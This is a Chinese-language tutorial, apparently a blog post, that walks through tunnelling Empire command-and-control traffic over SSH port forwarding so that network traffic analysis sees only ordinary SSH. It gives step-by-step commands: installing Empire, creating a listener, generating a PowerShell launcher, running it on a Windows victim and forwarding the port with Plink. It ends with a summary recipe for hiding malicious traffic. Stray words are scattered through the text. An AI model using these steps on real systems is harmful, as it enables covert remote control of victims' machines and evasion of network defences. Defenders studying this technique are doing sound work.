在網絡攻防博弈中,網絡流量特徵分析類安全防護措施獲得了普遍應用。衆多廠商和企業對網絡流量進行惡意流量分析檢測,從而針對性的採起防護措施,如各級ISP在骨幹網絡設備上大多采用網絡流量分析檢測的防護方案。 |
在網絡攻防博弈中,網絡流量特徵分析類安全防護措施獲得了普遍應用。衆多廠商和企業對網絡流量進行惡意流量分析檢測,從而針對性的採起防護措施,如各級ISP在骨幹網絡設備上大多采用網絡流量分析檢測的防護方案。
本文想經過標準的SSH的端口轉發創建SSH形式的加密隧道,用於加密、隱蔽傳輸惡意流量,從而避免經過流量檢測發現惡意行爲。復現實驗部分以C&C通訊流量爲例進入實驗。經過SSH隧道進行加密和隱藏的C&C流量在外部流量特徵分析僅表現爲標準SSH流量。
linux
本次實驗使用Empire工具快速搭建C&C信道,本文只簡要介紹對於Empire工具。在Windows平臺下使用Plink.exe工具的SSH功能搭建SSH隧道。git
SSH 會自動加密和解密全部 SSH 客戶端與服務端之間的網絡數據。可是, SSH 還可以將其餘 TCP 端口的網絡數 據經過 SSH 連接來轉發,而且自動提供了相應的加密及解密服務。這一過程也被叫作「隧道」( tunneling),這是因 爲 SSH 爲其餘 TCP 連接提供了一個安全的通道來進行傳輸而得名。SSH隧道的實現主要使用SSH的參數配置進行端 口轉發,即將所需傳輸的數據內容經過加密的SSH隧道進行轉發。 SSH 端口轉發可以提供兩大功能:一、加密 SSH Client 端至 SSH Server 端之間的通信數據。二、突破防火牆的限制完成一些以前沒法創建的 TCP 鏈接。
因爲SSH的安全性,在數據跨越公網時其餘人沒法得知數據內容。SSH端口轉發有本地轉發、遠程轉發和動態端 口轉發三種。本次實驗主要以本地轉發爲例。github
(1) 第1部分,-L選項表示使用「本地轉發」創建ssh隧道。「本地轉發」表示本地的某個端口上的通信數據會被轉發到目標主機的對應端口。
(2) 第2部分表示:通信數據會從本地的9906端口上被轉發,最終被轉發到10.1.0.2的3306端口。
(3) 第3部分表示:咱們建立的ssh隧道是鏈接到10.1.0.2上的root用戶。shell
Empire是一個針對windows平臺、提供從Stager生成到提取和滲透維持一系列功能齊全的滲透攻擊框架,其最 大的特色是以PowerShell腳本做爲攻擊載荷,並且Empire實現了無需powerShell.exe就可運行PowerShell代理功 能,即它是一個純粹的PowerShell後期漏洞利用代理工具。快速部署後期漏洞利用模塊,內置模塊有鍵盤記錄、 Mimikatz、繞過UAC、內網掃描等等,而且可以適應通訊躲避網絡檢測和大部分安全防禦工具的查殺,簡單來講 Empire相似於滲透神器Metasploit,是一個基於PowerShell的遠程控制木馬。ubuntu
在實驗虛擬linux系統中安裝windows
git clone https://github.com/EmpireProject/Empire.git #進入setup目錄進行命令行安裝 cd Empire cd setup sudo ./install.sh
安裝成功後,確認Empire目錄下全部文件(目錄)以下圖:
使用 ./empire
啓動Empire以下圖,則成功安裝。
安全
實驗說明:使用兩臺虛擬機ubuntu16 + windows 7,其中ubuntu16模擬控制端,windows 7模擬受控主機。網絡
(1) 安裝Open-SSH Server端框架
sudo apt-get install openssh-server
(2) 配置SSH Server端
編輯/etc/ssh/sshd_config
文件中容許口令登陸PermitRootLogin配置以下圖:
(3) 測試SSH登陸是否成功
查看本機IP(linux命令:ifconfig),如在windows下的XShell工具下輸入Server IP 輸入登陸名和密碼,成功登入系統則SSH Server端搭建成功。
注:須要重啓sshd服務:/etc/init.d/ssh resar
(4) 配置RSA密鑰對認證登陸
a) 生成rsa密鑰對ssh
ssh-keygen -t rsa
b) 開啓sshd支持RSA認證選項,並添加認證公鑰路徑地址
c) 編輯/etc/ssh/sshd_config文件中的PubkeyAuthentication選項配置爲yes,即:
d) 複製公鑰到某用戶home目錄下的.ssh文件夾下,注必須使用如下命令在受控主機(本次實驗使用win 7進行模擬)進行復制,不然文件權限設置易出錯。
ssh-copy-id -i id_rsa.pub 主機登陸用戶名@192.168.81.137
e) 使用私鑰進行登陸ssh登陸
ssh -i 私鑰路徑 主機登陸用戶名@192.168.81.137
注:使用putty、winscp等工具時須要先使用對應平臺工具進行rsa私鑰導入後轉化爲相對應文件格式,如本次實驗使用putty工具導入生成私鑰文件sshrsa.ppk。
Empire工具相似Metasploit,詳細使用教程可參考一篇文章精通PowerShell Empire。
本次實驗使用Empire生成簡單的PowerShell腳本,創建最簡單的C&C通訊。下面簡單歸納主要步驟。
(1) 設置監聽
listeners #進入的界面下可輸入list查看以設置的監聽 uselistener http #輸入 info查看必填參數 set Name 4444 #本次實驗經過SSH隧道通訊,所以設置監聽127.0.0.1:4444 set Port 4444 set Host 127.0.0.1 execute #建立命爲4444的監聽,監聽127.0.0.1:4444上通訊數據
示例以下:
(2) 生成簡單的PowerShell利用腳本(針對windows)
launcher powershell 4444 # 4444爲設置的監聽名字 #可進入tagers生成其餘木馬、遠控程序,本次實驗直接生成最簡單PowerShell利用腳本
注:生成的Powershell代碼直接複製並保存,以備在受控windows主機(win七、win10)執行。
(1) windows下使用Plink.exe(putty工具集中能夠在windows系統下使用命令行進行SSH鏈接)鏈接SSHServer
#須要首先進入Plink.exe文件所在路徑 Plink.exe -ssh -l
登陸用戶名 -pw
登陸密碼 SSH
主機IP
(2) Plink相關參數
-ssh 指定使用特定鏈接協議 -l 指定登陸用戶名 -i 指定RSA私鑰登陸 -L 本地轉發
(3) Plink端口轉發設計
plink.exe -ssh -i sshrsa.ppk am00n@192.168.81.137 -L 4444:192.168.81.137:4444
將本地端口(4444)轉發到遠程目標主機(192.168.81.137)的目標端口(4444)。
注意:以上命令執行成功後,須要保持命令行不要關閉。同時能夠組合使用SSH的其餘參數進行後臺運行、不交互等。
(4) 使用(2)中生成的PowerShell腳本,使受控主機上線
a) windows 7虛擬機另外開啓一個CMD窗口,複製PowerShell腳本執行。能夠看到受控主機以上線。
5) ubuntu端切換到agents界面,list命令查看如圖:
6) 經過interact命令則可使用以創建的控制信道控制受控主機,如經過簡單的ls命令測試成功以下圖:
7) 至此以成功使用SSH隧道傳輸C&C通訊流量,後續可在此基礎上設計實現其餘C&C控制命令及其它惡意功能。
經過本次實驗能夠看出,攻擊者能夠利用相似SSH的公共服務或可用技術輔助攻擊,且其實現也很是容易。
(1) 搭建SSH服務,並配置爲RSA私鑰登陸(也能夠配置爲免密登陸)。(2) 使用工具(如Empire、Metasploit等)構建C&C。(3) 利用SSH的端口轉發搭建SSH隧道。(4) 配置C&C和SSH參數使兩者配合實現加密、隱藏惡意流量的目的。